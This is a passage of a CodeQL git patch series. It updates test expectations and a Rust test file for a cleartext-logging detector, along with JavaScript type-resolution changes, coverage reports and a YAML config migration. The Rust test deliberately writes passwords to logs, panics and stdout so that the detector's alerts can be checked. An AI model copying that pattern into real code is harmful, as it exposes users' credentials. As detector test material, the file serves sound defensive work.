test_logging.rs:205:44:205:51 | password | semmle.label | password | +| test_logging.rs:208:13:208:50 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:208:26:208:49 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:208:42:208:49 | password | semmle.label | password | +| test_logging.rs:211:13:211:52 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:211:28:211:51 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:211:44:211:51 | password | semmle.label | password | +| test_logging.rs:214:13:214:54 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:214:30:214:53 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:214:30:214:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:214:46:214:53 | password | semmle.label | password | +| test_logging.rs:217:13:217:54 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:217:30:217:53 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:217:30:217:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:217:46:217:53 | password | semmle.label | password | +| test_logging.rs:220:13:220:58 | ...::panic_fmt | semmle.label | ...::panic_fmt | +| test_logging.rs:220:34:220:57 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:220:50:220:57 | password | semmle.label | password | +| test_logging.rs:223:13:223:60 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:223:36:223:59 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:223:36:223:59 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:223:52:223:59 | password | semmle.label | password | +| test_logging.rs:226:13:226:60 | ...::assert_failed | semmle.label | ...::assert_failed | +| test_logging.rs:226:36:226:59 | ...::Some(...) [Some] | semmle.label | ...::Some(...) [Some] | +| test_logging.rs:226:36:226:59 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:226:52:226:59 | password | semmle.label | password | +| test_logging.rs:229:23:229:28 | expect | semmle.label | expect | +| test_logging.rs:229:30:229:62 | res | semmle.label | res | +| test_logging.rs:229:30:229:71 | ... .as_str() | semmle.label | ... .as_str() | +| test_logging.rs:229:38:229:61 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:229:38:229:61 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:229:38:229:61 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:229:38:229:61 | { ... } | semmle.label | { ... } | +| test_logging.rs:229:54:229:61 | password | semmle.label | password | +| test_logging.rs:242:10:242:14 | write | semmle.label | write | +| test_logging.rs:242:16:242:50 | res | semmle.label | res | +| test_logging.rs:242:16:242:61 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:242:24:242:49 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:242:24:242:49 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:242:24:242:49 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:242:24:242:49 | { ... } | semmle.label | { ... } | +| test_logging.rs:242:42:242:49 | password | semmle.label | password | +| test_logging.rs:245:10:245:18 | write_all | semmle.label | write_all | +| test_logging.rs:245:20:245:54 | res | semmle.label | res | +| test_logging.rs:245:20:245:65 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:245:28:245:53 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:245:28:245:53 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:245:28:245:53 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:245:28:245:53 | { ... } | semmle.label | { ... } | +| test_logging.rs:245:46:245:53 | password | semmle.label | password | +| test_logging.rs:248:9:248:13 | write | semmle.label | write | +| test_logging.rs:248:15:248:49 | res | semmle.label | res | +| test_logging.rs:248:15:248:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:248:23:248:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:248:23:248:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:248:23:248:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:248:23:248:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:248:41:248:48 | password | semmle.label | password | +| test_logging.rs:251:9:251:13 | write | semmle.label | write | +| test_logging.rs:251:15:251:49 | res | semmle.label | res | +| test_logging.rs:251:15:251:60 | ... .as_bytes() | semmle.label | ... .as_bytes() | +| test_logging.rs:251:23:251:48 | ...::format(...) | semmle.label | ...::format(...) | +| test_logging.rs:251:23:251:48 | ...::must_use(...) | semmle.label | ...::must_use(...) | +| test_logging.rs:251:23:251:48 | MacroExpr | semmle.label | MacroExpr | +| test_logging.rs:251:23:251:48 | { ... } | semmle.label | { ... } | +| test_logging.rs:251:41:251:48 | password | semmle.label | password | subpaths diff --git a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs index 3e8dbe81636..4b12005a6cb 100644 --- a/rust/ql/test/query-tests/security/CWE-312/test_logging.rs +++ b/rust/ql/test/query-tests/security/CWE-312/test_logging.rs @@ -1,8 +1,7 @@ - -use log::{debug, error, info, trace, warn, log, Level}; -use std::io::Write as _; -use std::fmt::Write as _; +use log::{debug, error, info, log, trace, warn, Level}; use log_err::{LogErrOption, LogErrResult}; +use std::fmt::Write as _; +use std::io::Write as _; // --- tests --- @@ -134,14 +133,20 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { trace!("message = {:#?}", t1); // $ MISSING: Alert[rust/cleartext-logging]=t1 // logging from a struct - let s1 = MyStruct1 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s1 + let s1 = MyStruct1 { + harmless: "foo".to_string(), + password: "123456".to_string(), // $ MISSING: Source=s1 + }; warn!("message = {}", s1.harmless); warn!("message = {}", s1.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 warn!("message = {:#?}", s1); // $ MISSING: Alert[rust/cleartext-logging]=s1 - let s2 = MyStruct2 { harmless: "foo".to_string(), password: "123456".to_string() }; // $ MISSING: Source=s2 + let s2 = MyStruct2 { + harmless: "foo".to_string(), + password: "123456".to_string(), // $ MISSING: Source=s2 + }; warn!("message = {}", s2.harmless); warn!("message = {}", s2.password); // $ Alert[rust/cleartext-logging] warn!("message = {}", s2); // (this implementation does not output the password field) @@ -175,8 +180,8 @@ fn test_log(harmless: String, password: String, encrypted_password: String) { let _ = err_result.log_expect(&format!("Failed with password: {}", password2)); // $ Alert[rust/cleartext-logging] // test `log_expect` with sensitive `Result.Err` - let err_result2: Result = Err(password2.clone()); - let _ = err_result2.log_expect(""); // $ MISSING: Alert[rust/cleartext-logging] + let err_result2: Result = Err(password2.clone()); // $ Source=s3 + let _ = err_result2.log_expect(""); // $ Alert[rust/cleartext-logging]=s3 // test `log_unwrap` with sensitive `Result.Err` let err_result3: Result = Err(password2); // $ Source=err_result3 @@ -190,24 +195,54 @@ fn test_std(password: String, i: i32, opt_i: Option) { eprintln!("message = {}", password); // $ Alert[rust/cleartext-logging] match i { - 1 => { panic!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 2 => { todo!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 3 => { unimplemented!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 4 => { unreachable!("message = {}", password); } // $ Alert[rust/cleartext-logging] - 5 => { assert!(false, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 6 => { assert_eq!(1, 2, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 7 => { assert_ne!(1, 1, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 8 => { debug_assert!(false, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 9 => { debug_assert_eq!(1, 2, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 10 => { debug_assert_ne!(1, 1, "message = {}", password); } // $ Alert[rust/cleartext-logging] - 11 => { _ = opt_i.expect(format!("message = {}", password).as_str()); } // $ Alert[rust/cleartext-logging] + 1 => { + panic!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 2 => { + todo!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 3 => { + unimplemented!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 4 => { + unreachable!("message = {}", password); // $ Alert[rust/cleartext-logging] + } + 5 => { + assert!(false, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 6 => { + assert_eq!(1, 2, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 7 => { + assert_ne!(1, 1, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 8 => { + debug_assert!(false, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 9 => { + debug_assert_eq!(1, 2, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 10 => { + debug_assert_ne!(1, 1, "message = {}", password); // $ Alert[rust/cleartext-logging] + } + 11 => { + _ = opt_i.expect(format!("message = {}", password).as_str()); // $ Alert[rust/cleartext-logging] + } _ => {} } - std::io::stdout().lock().write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] - std::io::stderr().lock().write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] - std::io::stdout().lock().write(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] - std::io::stdout().lock().write_all(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] + std::io::stdout() + .lock() + .write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] + std::io::stderr() + .lock() + .write_fmt(format_args!("message = {}\n", password)); // $ MISSING: Alert[rust/cleartext-logging] + std::io::stdout() + .lock() + .write(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] + std::io::stdout() + .lock() + .write_all(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] let mut out = std::io::stdout().lock(); out.write(format!("message = {}\n", password).as_bytes()); // $ Alert[rust/cleartext-logging] @@ -219,6 +254,10 @@ fn test_std(password: String, i: i32, opt_i: Option) { fn main() { simple_logger::SimpleLogger::new().init().unwrap(); - test_log("harmless".to_string(), "123456".to_string(), "[encrypted]".to_string()); + test_log( + "harmless".to_string(), + "123456".to_string(), + "[encrypted]".to_string(), + ); test_std("123456".to_string(), 0, None); } diff --git a/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected index d3d59980e32..99dc5510ef3 100644 --- a/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-770/CONSISTENCY/PathResolutionConsistency.expected @@ -13,3 +13,7 @@ multiplePathResolutions | main.rs:223:13:223:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | | main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | | main.rs:224:13:224:16 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| main.rs:229:13:229:37 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| main.rs:229:13:229:37 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| main.rs:233:18:233:42 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | +| main.rs:233:18:233:42 | ...::with_capacity | file://:0:0:0:0 | fn with_capacity | diff --git a/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected index 804c13f6434..7345aedbab9 100644 --- a/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected +++ b/rust/ql/test/query-tests/security/CWE-825/CONSISTENCY/PathResolutionConsistency.expected @@ -9,3 +9,17 @@ multiplePathResolutions | deallocation.rs:112:3:112:12 | ...::free | file://:0:0:0:0 | fn free | | deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.171) | | deallocation.rs:112:29:112:32 | libc | file://:0:0:0:0 | Crate(libc@0.2.172) | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:260:11:260:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| deallocation.rs:261:11:261:22 | ...::from | file://:0:0:0:0 | fn from | +| lifetime.rs:415:32:415:49 | ...::clone | file://:0:0:0:0 | fn clone | +| lifetime.rs:415:32:415:49 | ...::clone | file://:0:0:0:0 | fn clone | diff --git a/rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected new file mode 100644 index 00000000000..8563020471c --- /dev/null +++ b/rust/ql/test/query-tests/unusedentities/CONSISTENCY/PathResolutionConsistency.expected @@ -0,0 +1,31 @@ +multiplePathResolutions +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:13:13:13:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| main.rs:14:13:14:24 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:165:20:165:31 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:171:9:171:17 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | +| unreachable.rs:177:9:177:26 | ...::from | file://:0:0:0:0 | fn from | From 79101fd1210aae83ce0ed97d39feeb7f0c5432a7 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 4 Jun 2025 22:07:03 +0200 Subject: [PATCH 163/271] JS: Add test with type casts --- .../ql/test/library-tests/UnderlyingTypes/test.expected | 2 ++ .../ql/test/library-tests/UnderlyingTypes/typeCast.ts | 7 +++++++ 2 files changed, 9 insertions(+) create mode 100644 javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected index 5ed9f42a7a5..be3c188b708 100644 --- a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected @@ -48,4 +48,6 @@ | subtype.ts:7:13:7:15 | req | 'express'.Request | | subtype.ts:13:13:13:15 | req | 'express'.Request | | subtype.ts:19:13:19:15 | req | 'express'.Request | +| typeCast.ts:4:16:4:35 | e as express.Request | 'express'.Request | +| typeCast.ts:5:16:5:33 | e | 'express'.Request | | varAssignment.ts:4:9:4:11 | req | 'express'.Request | diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts b/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts new file mode 100644 index 00000000000..733292db333 --- /dev/null +++ b/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts @@ -0,0 +1,7 @@ +import * as express from 'express'; + +function t1(e) { + var req1 = e as express.Request; // $ hasUnderlyingType='express'.Request + var req2 = e; // $ hasUnderlyingType='express'.Request + var req3 = e satisfies express.Request; +} From 57fad7e6c99097349f3b60ef2ad52efad6ebb339 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 4 Jun 2025 22:12:36 +0200 Subject: [PATCH 164/271] JS: Add SatisfiesExpr --- javascript/ql/lib/semmle/javascript/dataflow/Sources.qll | 3 ++- .../ql/lib/semmle/javascript/internal/TypeResolution.qll | 2 ++ javascript/ql/test/library-tests/UnderlyingTypes/test.expected | 1 + javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts | 2 +- 4 files changed, 6 insertions(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll index ad0be276511..f861488a046 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Sources.qll @@ -334,7 +334,8 @@ module SourceNode { astNode instanceof Templating::PipeRefExpr or astNode instanceof Templating::TemplateVarRefExpr or astNode instanceof StringLiteral or - astNode instanceof TypeAssertion + astNode instanceof TypeAssertion or + astNode instanceof SatisfiesExpr ) or exists(VariableDeclarator decl | diff --git a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll index a1d0ab43a6f..6a99d891739 100644 --- a/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll +++ b/javascript/ql/lib/semmle/javascript/internal/TypeResolution.qll @@ -235,6 +235,8 @@ module TypeResolution { or value.(TypeAssertion).getTypeAnnotation() = type or + value.(SatisfiesExpr).getTypeAnnotation() = type + or exists(VarDecl decl | // ValueFlow::step is restricted to variables with at most one assignment. Allow the type annotation // of a variable to propagate to its uses, even if the variable has multiple assignments. diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected index be3c188b708..9525a32706b 100644 --- a/javascript/ql/test/library-tests/UnderlyingTypes/test.expected +++ b/javascript/ql/test/library-tests/UnderlyingTypes/test.expected @@ -50,4 +50,5 @@ | subtype.ts:19:13:19:15 | req | 'express'.Request | | typeCast.ts:4:16:4:35 | e as express.Request | 'express'.Request | | typeCast.ts:5:16:5:33 | e | 'express'.Request | +| typeCast.ts:6:16:6:42 | e satis ... Request | 'express'.Request | | varAssignment.ts:4:9:4:11 | req | 'express'.Request | diff --git a/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts b/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts index 733292db333..09b6105d012 100644 --- a/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts +++ b/javascript/ql/test/library-tests/UnderlyingTypes/typeCast.ts @@ -3,5 +3,5 @@ import * as express from 'express'; function t1(e) { var req1 = e as express.Request; // $ hasUnderlyingType='express'.Request var req2 = e; // $ hasUnderlyingType='express'.Request - var req3 = e satisfies express.Request; + var req3 = e satisfies express.Request; // $ hasUnderlyingType='express'.Request } From 691fdb106ecf7d7d52296ec50dd7ed4dc08aaf35 Mon Sep 17 00:00:00 2001 From: Asger F Date: Wed, 4 Jun 2025 22:16:25 +0200 Subject: [PATCH 165/271] JS: Nicer jump-to-def for function declarations --- javascript/ql/lib/definitions.qll | 5 +++++ .../ql/test/query-tests/definitions/definitions.expected | 8 ++++---- 2 files changed, 9 insertions(+), 4 deletions(-) diff --git a/javascript/ql/lib/definitions.qll b/javascript/ql/lib/definitions.qll index 6c998628821..2f1c99b7c60 100644 --- a/javascript/ql/lib/definitions.qll +++ b/javascript/ql/lib/definitions.qll @@ -183,6 +183,11 @@ private AstNode redirectOnce(AstNode node) { result = cls.getIdentifier() ) or + exists(FunctionDeclStmt decl | + node = decl and + result = decl.getIdentifier() + ) + or exists(MethodDeclaration member | not member instanceof ConstructorDeclaration and node = member.getBody() and diff --git a/javascript/ql/test/query-tests/definitions/definitions.expected b/javascript/ql/test/query-tests/definitions/definitions.expected index cdf3136eb38..cb91ac6e37c 100644 --- a/javascript/ql/test/query-tests/definitions/definitions.expected +++ b/javascript/ql/test/query-tests/definitions/definitions.expected @@ -1,6 +1,6 @@ | b.js:3:3:3:3 | x | b.js:2:7:2:7 | x | V | -| b.js:7:1:7:1 | f | b.js:1:1:5:1 | functio ... ar x;\\n} | M | -| b.js:8:1:8:1 | g | a.js:2:1:2:15 | function g() {} | M | +| b.js:7:1:7:1 | f | b.js:1:10:1:10 | f | M | +| b.js:8:1:8:1 | g | a.js:2:10:2:10 | g | M | | client.ts:1:22:1:30 | "./tslib" | tslib.ts:1:1:10:0 | | I | | client.ts:7:19:7:19 | C | tslib.ts:1:14:1:14 | C | T | | client.ts:8:10:8:10 | C | client.ts:3:7:3:7 | C | T | @@ -16,12 +16,12 @@ | client.ts:16:3:16:3 | z | client.ts:13:38:13:38 | z | V | | client.ts:16:5:16:5 | m | tslib.ts:7:5:7:5 | m | M | | d.js:1:17:1:21 | './c' | c.js:1:1:1:20 | | I | -| d.js:10:1:10:1 | A | d.js:7:1:9:1 | functio ... = 42;\\n} | V | +| d.js:10:1:10:1 | A | d.js:7:10:7:10 | A | V | | d.js:16:19:16:23 | Super | d.js:12:7:12:11 | Super | V | | d.js:16:25:16:24 | args | d.js:16:25:16:24 | args | V | | d.js:20:1:20:1 | o | d.js:3:9:5:1 | {\\n f: ... () {}\\n} | V | | d.js:20:3:20:3 | f | d.js:4:3:4:18 | f: function() {} | M | -| d.js:22:13:22:13 | A | d.js:7:1:9:1 | functio ... = 42;\\n} | M | +| d.js:22:13:22:13 | A | d.js:7:10:7:10 | A | M | | d.js:23:1:23:1 | a | d.js:22:5:22:5 | a | V | | d.js:23:3:23:3 | x | d.js:8:3:8:8 | this.x | M | | d.js:24:1:24:1 | a | d.js:22:5:22:5 | a | V | From 401911e1858c74480b52dc6676672e30ea98b83d Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" <41898282+github-actions[bot]@users.noreply.github.com> Date: Thu, 5 Jun 2025 00:24:03 +0000 Subject: [PATCH 166/271] Add changed framework coverage reports --- go/documentation/library-coverage/coverage.csv | 1 + go/documentation/library-coverage/coverage.rst | 6 +++--- 2 files changed, 4 insertions(+), 3 deletions(-) diff --git a/go/documentation/library-coverage/coverage.csv b/go/documentation/library-coverage/coverage.csv index 2aed94d84a5..2826d79047d 100644 --- a/go/documentation/library-coverage/coverage.csv +++ b/go/documentation/library-coverage/coverage.csv @@ -5,6 +5,7 @@ archive/zip,,,6,,,,,,,,,,,,,,,,,,,,,,,6, bufio,,,17,,,,,,,,,,,,,,,,,,,,,,,17, bytes,,,43,,,,,,,,,,,,,,,,,,,,,,,43, clevergo.tech/clevergo,1,,,,,,,,,,,,,,,,,1,,,,,,,,, +cloud.google.com/go/bigquery,1,,,,,,,,,,,,,,1,,,,,,,,,,,, compress/bzip2,,,1,,,,,,,,,,,,,,,,,,,,,,,1, compress/flate,,,4,,,,,,,,,,,,,,,,,,,,,,,4, compress/gzip,,,3,,,,,,,,,,,,,,,,,,,,,,,3, diff --git a/go/documentation/library-coverage/coverage.rst b/go/documentation/library-coverage/coverage.rst index cad7baeb70f..b54a425300f 100644 --- a/go/documentation/library-coverage/coverage.rst +++ b/go/documentation/library-coverage/coverage.rst @@ -37,6 +37,7 @@ Go framework & library support `XPath `_,``github.com/antchfx/xpath*``,,,4 `appleboy/gin-jwt `_,``github.com/appleboy/gin-jwt*``,,,1 `beego `_,"``github.com/astaxie/beego*``, ``github.com/beego/beego*``",102,63,213 + `bigquery `_,``cloud.google.com/go/bigquery*``,,,1 `chi `_,``github.com/go-chi/chi*``,3,, `cristalhq/jwt `_,``github.com/cristalhq/jwt*``,,,1 `env `_,``github.com/caarlos0/env*``,5,2, @@ -53,7 +54,7 @@ Go framework & library support `goproxy `_,``github.com/elazarl/goproxy*``,2,2,2 `gorilla/mux `_,``github.com/gorilla/mux*``,1,, `gorilla/websocket `_,``github.com/gorilla/websocket*``,3,, - `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``",16,4,48 + `gorqlite `_,"``github.com/raindog308/gorqlite*``, ``github.com/rqlite/gorqlite*``, ``github.com/kanikanema/gorqlite*``",24,6,72 `goxpath `_,``github.com/ChrisTrenkamp/goxpath*``,,,3 `htmlquery `_,``github.com/antchfx/htmlquery*``,,,4 `json-iterator `_,``github.com/json-iterator/go*``,,4, @@ -73,6 +74,5 @@ Go framework & library support `xpathparser `_,``github.com/santhosh-tekuri/xpathparser*``,,,2 `yaml `_,``gopkg.in/yaml*``,,9, `zap `_,``go.uber.org/zap*``,,11,33 - Others,``github.com/kanikanema/gorqlite``,8,2,24 - Totals,,688,1069,1556 + Totals,,688,1069,1557 From 31d16043370c82d3807785793f97f20673133d24 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Wed, 4 Jun 2025 12:16:08 +0200 Subject: [PATCH 167/271] Bulk model generator: switch from json to yml configuration files --- cpp/misc/bulk_generation_targets.json | 9 --- cpp/misc/bulk_generation_targets.yml | 10 +++ .../models-as-data/bulk_generate_mad.py | 13 +++- rust/misc/bulk_generation_targets.json | 75 ------------------- rust/misc/bulk_generation_targets.yml | 45 +++++++++++ 5 files changed, 64 insertions(+), 88 deletions(-) delete mode 100644 cpp/misc/bulk_generation_targets.json create mode 100644 cpp/misc/bulk_generation_targets.yml delete mode 100644 rust/misc/bulk_generation_targets.json create mode 100644 rust/misc/bulk_generation_targets.yml diff --git a/cpp/misc/bulk_generation_targets.json b/cpp/misc/bulk_generation_targets.json deleted file mode 100644 index 4cddef005b2..00000000000 --- a/cpp/misc/bulk_generation_targets.json +++ /dev/null @@ -1,9 +0,0 @@ -{ - "strategy": "dca", - "language": "cpp", - "targets": [ - { "name": "openssl", "with-sources": false, "with-sinks": false }, - { "name": "sqlite", "with-sources": false, "with-sinks": false } - ], - "destination": "cpp/ql/lib/ext/generated" -} \ No newline at end of file diff --git a/cpp/misc/bulk_generation_targets.yml b/cpp/misc/bulk_generation_targets.yml new file mode 100644 index 00000000000..0e42eac3765 --- /dev/null +++ b/cpp/misc/bulk_generation_targets.yml @@ -0,0 +1,10 @@ +language: cpp +strategy: dca +destination: cpp/ql/lib/ext/generated +targets: +- name: openssl + with-sinks: false + with-sources: false +- name: sqlite + with-sinks: false + with-sources: false diff --git a/misc/scripts/models-as-data/bulk_generate_mad.py b/misc/scripts/models-as-data/bulk_generate_mad.py index 22a872dc2bf..4a6ee9fc51e 100644 --- a/misc/scripts/models-as-data/bulk_generate_mad.py +++ b/misc/scripts/models-as-data/bulk_generate_mad.py @@ -15,7 +15,12 @@ import json import requests import zipfile import tarfile -from functools import cmp_to_key + +try: + import yaml +except ImportError: + print("ERROR: PyYAML is not installed. Please install it with 'pip install pyyaml'.") + sys.exit(1) import generate_mad as mad @@ -492,9 +497,9 @@ if __name__ == "__main__": sys.exit(1) try: with open(args.config, "r") as f: - config = json.load(f) - except json.JSONDecodeError as e: - print(f"ERROR: Failed to parse JSON file {args.config}: {e}") + config = yaml.safe_load(f) + except yaml.YAMLError as e: + print(f"ERROR: Failed to parse YAML file {args.config}: {e}") sys.exit(1) main(config, args) diff --git a/rust/misc/bulk_generation_targets.json b/rust/misc/bulk_generation_targets.json deleted file mode 100644 index 274d5dc5b36..00000000000 --- a/rust/misc/bulk_generation_targets.json +++ /dev/null @@ -1,75 +0,0 @@ -{ - "strategy": "repo", - "language": "rust", - "targets": [ - { - "name": "libc", - "git_repo": "https://github.com/rust-lang/libc", - "git_tag": "0.2.172" - }, - { - "name": "log", - "git_repo": "https://github.com/rust-lang/log", - "git_tag": "0.4.27" - }, - { - "name": "memchr", - "git_repo": "https://github.com/BurntSushi/memchr", - "git_tag": "2.7.4" - }, - { - "name": "once_cell", - "git_repo": "https://github.com/matklad/once_cell", - "git_tag": "v1.21.3" - }, - { - "name": "rand", - "git_repo": "https://github.com/rust-random/rand", - "git_tag": "0.9.1" - }, - { - "name": "smallvec", - "git_repo": 